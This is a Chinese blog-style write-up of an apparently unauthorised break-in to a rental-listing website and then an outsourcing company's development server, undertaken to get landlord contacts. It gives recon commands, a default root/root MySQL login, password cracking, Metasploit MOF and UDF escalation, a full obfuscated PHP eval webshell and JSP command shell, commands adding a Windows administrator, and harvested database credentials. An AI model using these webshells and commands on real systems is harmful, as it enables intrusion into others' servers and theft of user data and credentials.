渗透测试小记-由租房引发的惨案

作为一名,怀揣远(che)大(du)理(zi)想(ne)的北漂,永远离不开租房子的话题,58.链家.我爱我家…各种中介坑的心慌,想直接找个房东整租一个,偶然间了解到xx网站是专为中介统计的房东房源,当然是花钱的(MM。),遂引发了以下惨案。人狠话不多,整!

0x00 信息收集

1. ok首先拿到网站后,先打开官网瞅了瞅:

kionf

简单分析为PHP写的,没有登陆房东的手机号为打码状态,凌晨1点半的我,脸上逐渐漏出笑容 :)

2. 随便输入一个地址:

kionf

看到这个丧逼脸,经验告诉我TM这就是 ThinkPhp框架

3. 在搞个随便输入个404地址

kionf

综合以上手撸,分析大概环境为:

环境
IIS + ThinkPHP + php + Windows

此结果为手测,经验不足可以使用whatweb检测web环境

whatweb xxx.com
1
http://xxx.com/index.php/Manage/Login/index [200 OK] Cookies[BJYADMIN], Country[CHINA][CN], HTML5, HTTPServer[Microsoft-IIS/7.0], IP[115.28.xxx.xxx], JQuery[1.11.1], Microsoft-IIS[7.0], PasswordField[password], Script[JavaScript,javascript,text/javascript], Title[管理系统], X-Powered-By[thinkphp-bjyadmin, ASP.NET], X-UA-Compatible[IE=edge]

4. 域名分析

dig xxx.com
; <<>> DiG 9.11.3-1-Debian <<>> xxx.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 364
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;lx808.com. IN A
;; ANSWER SECTION:
xxx.com. 3599 IN CNAME www.xxx.com.xxx.com.
www.xxx.com.xxx.com. 3600 IN A 115.28.xxx.xxx
;; Query time: 1370 msec
;; SERVER: 108.61.10.10#53(108.61.10.10)
;; WHEN: Tue Sep 11 18:51:58 CST 2018
;; MSG SIZE rcvd: 82

获取到ip:115.28.xxx.xxx,查看是IP相关信息:

curl cip.cc/115.28.xxx.xxx
IP : 115.28.xxx.xxx
地址 : 中国 山东 青岛
运营商 : 阿里云
数据二 : 山东省青岛市 | 阿里巴巴网络有限公司BGP数据中心
URL : http://www.cip.cc/115.28.xxx.xxx

5. 主机信息

脚本小子,上!nmap 扫描

nmap -sV -T4 -O -F --version-light 115.28.xxx.xxx
Nmap scan report for 115.28.xxx.xxx
Host is up (0.19s latency).
Not shown: 83 closed ports
PORT STATE SERVICE VERSION
25/tcp filtered smtp
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1027/tcp filtered IIS
1028/tcp filtered unknown
3128/tcp filtered squid-http
3306/tcp open mysql MySQL 5.5.40
3389/tcp open ms-wbt-server Microsoft Terminal Service
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown

其中有两个个让人非常感兴趣的服务及端口:

3306 Mysql
3389 RDP

0x01 渗透

1. 随手一输入带来的惊喜!

看到常用端口都没有更改,对外暴露。猜测安全意识估计也是很薄弱,随便用rootroot连接mysql。


Duang, Duang, Duang

kionf

有时候就是这样百密一疏,安全问题的重中之重就是细节
可能你在想这么Low逼也好意思写?那么你错了,重头戏在后头!

连接后,查看了一下数据库,根据名称找到当前网站所使用数据库。根据表名找到大概为用户账号密码信息表


kionf

已到夜深,不想再劳体伤身,随便找个用户名,md5密码扔到dmd5解密出明文,本以为能登陆这事儿就算了,放他一马。

But !

kionf

提示账号密码错误,又尝试了几个账号发现,被禁用 !!通过查看数据库记录的登陆信息and猜测,得出应该现在的网站并没有连接此数据库。深夜的我扣了扣脚丫子,发现事情并没有那么简单。


虽然没有使用现在的数据库,但我们是有root登陆到数据库的啊,权限高啊,提权啊!

Let’s Go


2. 常用Low逼Mysql提权几种方式:

  • UDF提权
  • MOF提权
  • into outfile写入shell

祭出我的宝贝 metasploit

1) MOF提权

脚本小子三部曲
# 1. 启动msf选择exploit
> msfconsole
> search mysql_mof
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/mysql/mysql_mof 2012-12-01 excellent Oracle MySQL for Microsoft Windows MOF Execution
> use exploit/windows/mysql/mysql_mof
# 2. 设置目标
msf exploit(windows/mysql/mysql_mof) > show options
# show advanced
# 显示高级选项,进行自定义这里不需要暂且不展开讨论
Module options (exploit/windows/mysql/mysql_mof):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with
RHOST yes The target address
RPORT 3306 yes The target port (TCP)
USERNAME yes The username to authenticate as
Exploit target:
Id Name
-- ----
0 MySQL on Windows prior to Vista
> set RHOST 115.28.xxx.xxx
> set PASSWORD root
> set USERNAME root
# 3. 启动
> exploit

kionf

命令执行成功,没有返回session, 利用程序可能被删除


2) UDF提权

尝试UDF提权
msf exploit(windows/mysql/mysql_mof) > search mysql_udf
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/mysql/mysql_udf_payload 2009-01-16 excellent Oracle MySQL UDF Payload Execution
> use exploit/multi/mysql/mysql_udf_payload
> show options
> set RHOST 115.28.xxx.xxx
> set PASSWORD root
> set USERNAME root

kionf

注意红框圈出位置,根据目录结构判断是PhpStudy搭建的,后面会使用到

依旧没有成功返回session,有尝试了几次MOF,发现连接Mysql被拒绝了。这时才想起机器时部署在阿里云,有一个AliYunDun这个小可爱,上面MOF的提权文件应该也是他删除的。


3) 尝试写入WebShell

由上面在进行UDF提权时爆出来的是使用PhpStudy搭建的web环境,可以猜测出默认Web路径,使用代理连接目标Mysql执行:

查看Mysql datadir
> select @@datadir;
+-----------------------------+
| @@datadir |
+-----------------------------+
| D:\phpStudy4IIS\MySQL\data\ |
+-----------------------------+

本机下载相对应版本安装包,安装后查看到默认Web路径为D:\phpStudy4IIS\WWW。ok既然网站目录得到了并且通过之前的信息收集得到使用的是ThinkPHP,我们就尝试写入PHP一句话Shell。

连接目标Mysql写入Web Shell
1
2
3
4
mysql -uroot -proot -h115.28.xxx.xxx mysql
# 写入PHP shell
select load_file('/root/sys_thinkphp.php') into outfile 'D:\phpStudy4IIS\WWW\sys.php'

PHP Shell文件(自定义和正常菜刀不通用):

sys_thinkphp.php
1
2
3
4
5
6
7
<?php
$thinkss = create_function('$a', 'ev'.'al($a);');
$thinkss(stripslashes($_POST['k10nf']));
?>

使用浏览器访问,没要报404。shell写入成功!!


3. 进一步渗透

使用菜刀连接:

kionf

获取shell,通过查看目录结构、及asp、php、tomcat代码,这里省略一万字,获取如下信息:

环境:
tomcat7.0
IIS
mysql
aspx网站路径
查看代码发现连接数据库为并得到密码:
Mysql: 114.215.xxx.xxx
Mysql: 115.29.xx.xxx
SqlServer: 115.29.xx.xxx

常用WEB服务配置文件位置:

ThinkPhp: ./www/ThinkPHP/Conf/ ./www/Application/Common/Conf/
Tomcat: ./tomcat/webapps/appname/WEB-INF/classes/
IIS: ./www/Web.config

4. 休战

使用菜刀连接shell由于环境问题无法执行终端命令。看到有tomcat应用,就传上个小jsp马来执行命令,添加个用户

jsp小马马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<%@ page import="java.util.Scanner" pageEncoding="UTF-8" %>
<HTML>
<title>Titanium</title>
<BODY>
<FORM METHOD=POST ACTION='#'>
<INPUT name='q' type=text>
<INPUT type=submit value='Fly'>
</FORM>
<%!
public static String getPicture(String str) throws Exception{
String fileSeparator = String.valueOf(java.io.File.separatorChar);
if(fileSeparator.equals("\\")){
str = new String(new byte[] {99, 109, 100, 46, 101, 120, 101, 32, 47, 67, 32}) + str;
}else{
str = new String(new byte[] {47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32}) + str;
}
Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null, new Object[]{}), new Object[] { str });
Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
String result = "";
result = sc.hasNext() ? sc.next() : result;
sc.close();
return result;
}
%>
<%
String name ="Input Nothing";
String query = request.getParameter("q");
if(query != null) {
name = getPicture(query);
}
%>
<pre>
<%= name %>
</pre>
</BODY>
</HTML>
添加Win用户设为管理员
1
2
net user kionf kionf /add
net localgroup adminostrators kionf /add

kionf

通过查看php代码分析出,房源网站连接的是SqlServer: 115.29.xx.xxx,用户登录通过查询两个表。mysql用户表记录用户可以登录ip数,及绑定ip,如果First字段为0则为首次登陆,首次登陆ip写入数据库,账号密码储存在SqlServer。 登陆之!

kionf


0x02 千里之堤,溃于蚁穴


在上面进一步渗透中获取到一个数据库:

Mysql: 114.215.xxx.xxx

根据ThinkPHP框架配置文件中的账号密码,连接后查看数据库:

kionf

执行sql
1
2
3
select @@hostname;
iZxxxxxxxx

尝试Google下这个特别的hostname,出现了惊喜:

kionf

进一步验证得出网站路径:

nmap扫描机器,得出WEB端口访问80端口404,访问443成功出现界面,手测框架爆出Web路径:

kionf

通过Mysql写入一句话,菜刀连之:

kionf

root启动的nginx,权限就不用说了,根据获取信息Google此公司title,得知是一个软件外包公司,
114.215此台机器应该为内部开发测试机器。而且
此机器安装有SVN,wwwroot目录下放置是外包的项目代码,继续延伸渗透应该会拿下整个外包公司所有机器的权限。
操作过程没有什么技术含量,都是点子骚,开发过程中安全意识薄弱,信息泄漏。
刚刚去卫生间头突然晕了一下,差点摔倒。我现在慌的一批😨 身体重要不弄了。